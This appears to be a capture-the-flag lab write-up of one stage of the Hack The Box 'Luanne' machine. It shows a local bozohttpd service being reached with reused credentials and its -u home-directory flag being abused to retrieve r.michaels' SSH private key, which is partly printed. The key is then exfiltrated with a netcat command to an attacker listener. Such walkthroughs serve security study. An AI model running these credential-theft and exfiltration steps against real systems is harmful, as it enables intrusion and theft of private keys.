InfoSec LAB

Luanne_Web_3001

Created: 4 min read

Web

$ psps -auxwww | grep -i weather
r.michaels   185  0.0  0.0  34996  1976 ?     is   12:50PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www 
_httpd       350  0.0  0.0  35252  2328 ?     i     3:22PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www 
 
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it appears that there is another process that runs the weather application on the 127.0.0.1:3001 socket. It’s also running with the privileges of the r.michaels user and a different set of arguments.

$ cat  /usr/pkg/etc/nginx/nginx.conf
 
user   nginx  nginx;
worker_processes  1;
 
events {
    # After increasing this value You probably should increase limit
    # of file descriptors (for example in start_precmd in startup script)
    worker_connections  1024;
}
 
 
http {
    include       /usr/pkg/etc/nginx/mime.types;
    default_type  application/octet-stream;
 
    #log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
    #                  '$status $body_bytes_sent "$http_referer" '
    #                  '"$http_user_agent" "$http_x_forwarded_for"';
 
    #access_log  /var/log/nginx/access.log  main;
 
    sendfile        on;
    #tcp_nopush     on;
 
    #keepalive_timeout  0;
    keepalive_timeout  65;
 
    #gzip  on;
 
    server {
        listen       80;
        server_name  localhost;
 
        #charset koi8-r;
 
        #access_log  /var/log/nginx/host.access.log  main;
 
        location / {
            root   share/examples/nginx/html;
            index  index.html index.htm;
        }
 
        location = / {
            proxy_pass http://127.0.0.1:3000/index.html;
        }
 
	location = /robots.txt {
	    root /var/www/;
	}
 
        location /weather/forecast {
            proxy_pass http://127.0.0.1:3000/weather/forecast;
        }
 
        #error_page  404              /404.html;
 
        # redirect server error pages to the static page /50x.html
        #
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   share/examples/nginx/html;
        }
        
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unlike the initial weather application, which was accessible through the web server on the target port 80, the weather application on the 127.0.0.1:3001 socket does not have any Nginx configuration. So I cannot access it from outside

Authentication

$ curl -s http://127.0.0.1:3001/
<html><head><title>401 Unauthorized</title></head>
<body><h1>401 Unauthorized</h1>
/: <pre>No authorization</pre>
<hr><address><a href="//127.0.0.1:3001/">127.0.0.1:3001</a></address>
</body></html>

Since cURL is installed, I could try interact with it from the command line. But it throws a 401, and requires the basic HTTP authentication. just like the initial one.

$ curl -s http://127.0.0.1:3001/ -u webapi_user:iamthebest
<!doctype html>
<html>
  <head>
    <title>Index</title>
  </head>
  <body>
    <p><h3>Weather Forecast API</h3></p>
    <p><h4>List available cities:</h4></p>
    <a href="/weather/forecast?city=list">/weather/forecast?city=list</a>
    <p><h4>Five day forecast (London)</h4></p>
    <a href="/weather/forecast?city=London">/weather/forecast?city=London</a>
    <hr>
  </body>
</html>

There is password reuse for the credential that I extracted from the .htpasswd file in the initial web server

Misconfiguration

One interesting thing is that this process has the -u flag

the -u flag in bozohttpd includes the home directory of the running user This means that I should be able to access the home directory of the r.michaels user by appending /~r.michaels/ into the URL

SSH Private Key

$ curl -s http://127.0.0.1:3001/~r.michaels/ -u webapi_user:iamthebest
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
	border-top: 1px solid black;
	border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>

Doing so with the web credential, indeed reveals the home directory of the r.micheals user. I see there is a SSH private key; id_rsa

$ curl -s http://127.0.0.1:3001/~r.michaels/id_rsa -u webapi_user:iamthebest
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvXxJBbm4VKcT2HABKV2Kzh9GcatzEJRyvv4AAalt349ncfDkMfFB
Icxo9PpLUYzecwdU3LqJlzjFga3kG7VdSEWm+C1fiI4LRwv/iRKyPPvFGTVWvxDXFTKWXh
0DpaB9XVjggYHMr0dbYcSF2V5GMfIyxHQ8vGAE+QeW9I0Z2nl54ar/I/j7c87SY59uRnHQ
kzRXevtPSUXxytfuHYr1Ie1YpGpdKqYrYjevaQR5CAFdXPobMSxpNxFnPyyTFhAbzQuchD
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pXXqVFFB7Jae+LtuZ3XTESrVnpvBY48YRkQXAmMVAAAFkBjYH6gY2B+oAAAAB3NzaC1yc2
EAAAGBAL18SQW5uFSnE9hwASldis4fRnGrcxCUcr7+AAGpbd+PZ3Hw5DHxQSHMaPT6S1GM
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-----END OPENSSH PRIVATE KEY-----

It is definitely a SSH private key for the r.michaels user.

$ curl -s http://127.0.0.1:3001/~r.michaels/id_rsa -u webapi_user:iamthebest -o /tmp/id_rsa
$ ls -la /tmp
total 20
drwxrwxrwt   2 root    wheel    48 Mar 20 17:10 .
drwxr-xr-x  21 root    wheel   512 Sep 16  2020 ..
-rw-------   1 _httpd  wheel  2610 Mar 20 17:10 id_rsa
 
$ nc 10.10.14.2 2222 < /tmp/id_rsa
┌──(kali㉿kali)-[~/archive/htb/labs/luanne]
└─$ nnc 2222 > id_rsa.r.michaels   
listening on [any] 2222 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.218] 65419

I will download it and transport it to Kali

I can now use this key to make a lateral movement to the r.michaels user

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